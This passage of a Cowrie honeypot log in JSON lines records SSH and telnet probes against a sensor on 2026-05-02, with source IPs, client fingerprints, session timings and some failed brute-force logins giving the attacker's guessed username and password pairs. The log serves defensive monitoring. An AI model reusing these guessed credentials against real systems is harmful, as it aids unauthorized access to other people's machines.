,"aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:18.216532Z","src_ip":"114.35.59.237","session":"da542ad0c6bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34292,"dst_ip":"159.203.135.109","dst_port":23,"session":"a04af8259093","protocol":"telnet","message":"New connection: 161.132.53.68:34292 (159.203.135.109:23) [session: a04af8259093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:18.893113Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456abc","message":"login attempt [dev/123456abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:19.082359Z","src_ip":"114.35.59.237","session":"da542ad0c6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.055246591567993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:19.169859Z","src_ip":"161.132.53.68","session":"26724e40d915","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.72266507148743,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:19.999085Z","src_ip":"161.132.53.68","session":"3e83a03560c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18341851234436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:20.228072Z","src_ip":"161.132.53.68","session":"47495e0b4534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:20.294348Z","src_ip":"114.35.59.237","session":"da542ad0c6bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34302,"dst_ip":"159.203.135.109","dst_port":23,"session":"57b7f5497ebf","protocol":"telnet","message":"New connection: 161.132.53.68:34302 (159.203.135.109:23) [session: 57b7f5497ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:25.490106Z"}
{"eventid":"cowrie.session.closed","duration":31.21547555923462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:25.739193Z","src_ip":"192.119.108.58","session":"a43932e7a816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56396,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcfc32d01fbe","protocol":"telnet","message":"New connection: 161.132.53.68:56396 (159.203.135.109:23) [session: dcfc32d01fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:26.953372Z"}
{"eventid":"cowrie.session.closed","duration":31.21987295150757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:29.829181Z","src_ip":"161.132.53.68","session":"849e21d5627f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.009883403778076,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:29.984776Z","src_ip":"161.132.53.68","session":"d0bbd90081eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.380096435546875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:31.082657Z","src_ip":"161.132.53.68","session":"0466c6f3b1b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.581061840057373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:31.329176Z","src_ip":"161.132.53.68","session":"05f02a0f3936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56404,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b146cc48800","protocol":"telnet","message":"New connection: 161.132.53.68:56404 (159.203.135.109:23) [session: 7b146cc48800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:31.406181Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56406,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5e196751ca0","protocol":"telnet","message":"New connection: 161.132.53.68:56406 (159.203.135.109:23) [session: e5e196751ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:31.661404Z"}
{"eventid":"cowrie.session.closed","duration":30.7837655544281,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:32.197087Z","src_ip":"161.132.53.68","session":"0d2bb016482d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":34618,"dst_ip":"10.17.0.5","dst_port":22,"session":"140f7d18a40f","protocol":"ssh","message":"New connection: 124.18.182.99:34618 (10.17.0.5:22) [session: 140f7d18a40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:33.901416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:33.905640Z","src_ip":"124.18.182.99","session":"140f7d18a40f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":34116,"dst_ip":"10.17.0.5","dst_port":22,"session":"18d8bc282f07","protocol":"ssh","message":"New connection: 220.119.37.141:34116 (10.17.0.5:22) [session: 18d8bc282f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:33.939513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:33.945781Z","src_ip":"220.119.37.141","session":"18d8bc282f07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:34.076526Z","src_ip":"124.18.182.99","session":"140f7d18a40f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:34.170406Z","src_ip":"220.119.37.141","session":"18d8bc282f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.102046251297,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:34.416198Z","src_ip":"161.132.53.68","session":"1f97addc2377","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1a2s3d4","message":"login attempt [ubuntu/1a2s3d4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:34.788070Z","src_ip":"124.18.182.99","session":"140f7d18a40f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password#123","message":"login attempt [root/Password#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:34.994191Z","src_ip":"220.119.37.141","session":"18d8bc282f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.36301612854004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:35.794418Z","src_ip":"192.119.108.58","session":"acad7f865b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:35.960734Z","src_ip":"124.18.182.99","session":"140f7d18a40f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:36.195963Z","src_ip":"220.119.37.141","session":"18d8bc282f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.384451150894165,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:36.674831Z","src_ip":"161.132.53.68","session":"b424bdd24c7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54522,"dst_ip":"159.203.135.109","dst_port":23,"session":"5db921bb2672","protocol":"telnet","message":"New connection: 161.132.53.68:54522 (159.203.135.109:23) [session: 5db921bb2672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:37.922310Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54526,"dst_ip":"159.203.135.109","dst_port":23,"session":"db91a295fdde","protocol":"telnet","message":"New connection: 161.132.53.68:54526 (159.203.135.109:23) [session: db91a295fdde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:40.335575Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54528,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e64f055ec50","protocol":"telnet","message":"New connection: 161.132.53.68:54528 (159.203.135.109:23) [session: 4e64f055ec50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:40.659605Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54538,"dst_ip":"159.203.135.109","dst_port":23,"session":"9540bfa2d047","protocol":"telnet","message":"New connection: 161.132.53.68:54538 (159.203.135.109:23) [session: 9540bfa2d047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:40.895641Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54548,"dst_ip":"159.203.135.109","dst_port":23,"session":"c95cf352864f","protocol":"telnet","message":"New connection: 161.132.53.68:54548 (159.203.135.109:23) [session: c95cf352864f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:45.728191Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38898,"dst_ip":"159.203.135.109","dst_port":23,"session":"08499d251f5a","protocol":"telnet","message":"New connection: 161.132.53.68:38898 (159.203.135.109:23) [session: 08499d251f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:46.803005Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38902,"dst_ip":"159.203.135.109","dst_port":23,"session":"edabb2701cff","protocol":"telnet","message":"New connection: 161.132.53.68:38902 (159.203.135.109:23) [session: edabb2701cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:47.393785Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38912,"dst_ip":"159.203.135.109","dst_port":23,"session":"59be3195aedb","protocol":"telnet","message":"New connection: 161.132.53.68:38912 (159.203.135.109:23) [session: 59be3195aedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:47.564083Z"}
{"eventid":"cowrie.session.closed","duration":30.313838481903076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:49.206825Z","src_ip":"161.132.53.68","session":"a04af8259093","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38914,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac15368cc367","protocol":"telnet","message":"New connection: 161.132.53.68:38914 (159.203.135.109:23) [session: ac15368cc367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:51.232204Z"}
{"eventid":"cowrie.session.closed","duration":31.297403573989868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:56.787405Z","src_ip":"161.132.53.68","session":"57b7f5497ebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.532285451889038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:57.485564Z","src_ip":"161.132.53.68","session":"dcfc32d01fbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54584,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa4e4541bb7b","protocol":"telnet","message":"New connection: 161.132.53.68:54584 (159.203.135.109:23) [session: aa4e4541bb7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:58.717438Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":49318,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc1f752f1992","protocol":"ssh","message":"New connection: 223.17.5.126:49318 (159.203.135.109:22) [session: dc1f752f1992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:01.809231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:01.815356Z","src_ip":"223.17.5.126","session":"dc1f752f1992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:02.034890Z","src_ip":"223.17.5.126","session":"dc1f752f1992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.999982833862305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:02.406074Z","src_ip":"161.132.53.68","session":"7b146cc48800","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.988188982009888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:02.649490Z","src_ip":"161.132.53.68","session":"e5e196751ca0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lx123456!","message":"login attempt [root/Lx123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:02.944023Z","src_ip":"223.17.5.126","session":"dc1f752f1992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:04.169002Z","src_ip":"223.17.5.126","session":"dc1f752f1992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54586,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8a3e345488c","protocol":"telnet","message":"New connection: 161.132.53.68:54586 (159.203.135.109:23) [session: f8a3e345488c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:06.302944Z"}
{"eventid":"cowrie.session.closed","duration":30.937607526779175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:08.859766Z","src_ip":"161.132.53.68","session":"5db921bb2672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":44308,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb86ab9a8a14","protocol":"ssh","message":"New connection: 200.105.172.184:44308 (159.203.135.109:22) [session: cb86ab9a8a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:09.127673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:09.130687Z","src_ip":"200.105.172.184","session":"cb86ab9a8a14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:09.251013Z","src_ip":"200.105.172.184","session":"cb86ab9a8a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw@rd123","message":"login attempt [root/Passw@rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:09.754889Z","src_ip":"200.105.172.184","session":"cb86ab9a8a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:10.877066Z","src_ip":"200.105.172.184","session":"cb86ab9a8a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52403497695923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:11.183531Z","src_ip":"161.132.53.68","session":"4e64f055ec50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25525188446045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:11.590641Z","src_ip":"161.132.53.68","session":"db91a295fdde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":48722,"dst_ip":"10.17.0.5","dst_port":22,"session":"2388c73d21f2","protocol":"ssh","message":"New connection: 114.35.59.237:48722 (10.17.0.5:22) [session: 2388c73d21f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:12.303498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:12.308830Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
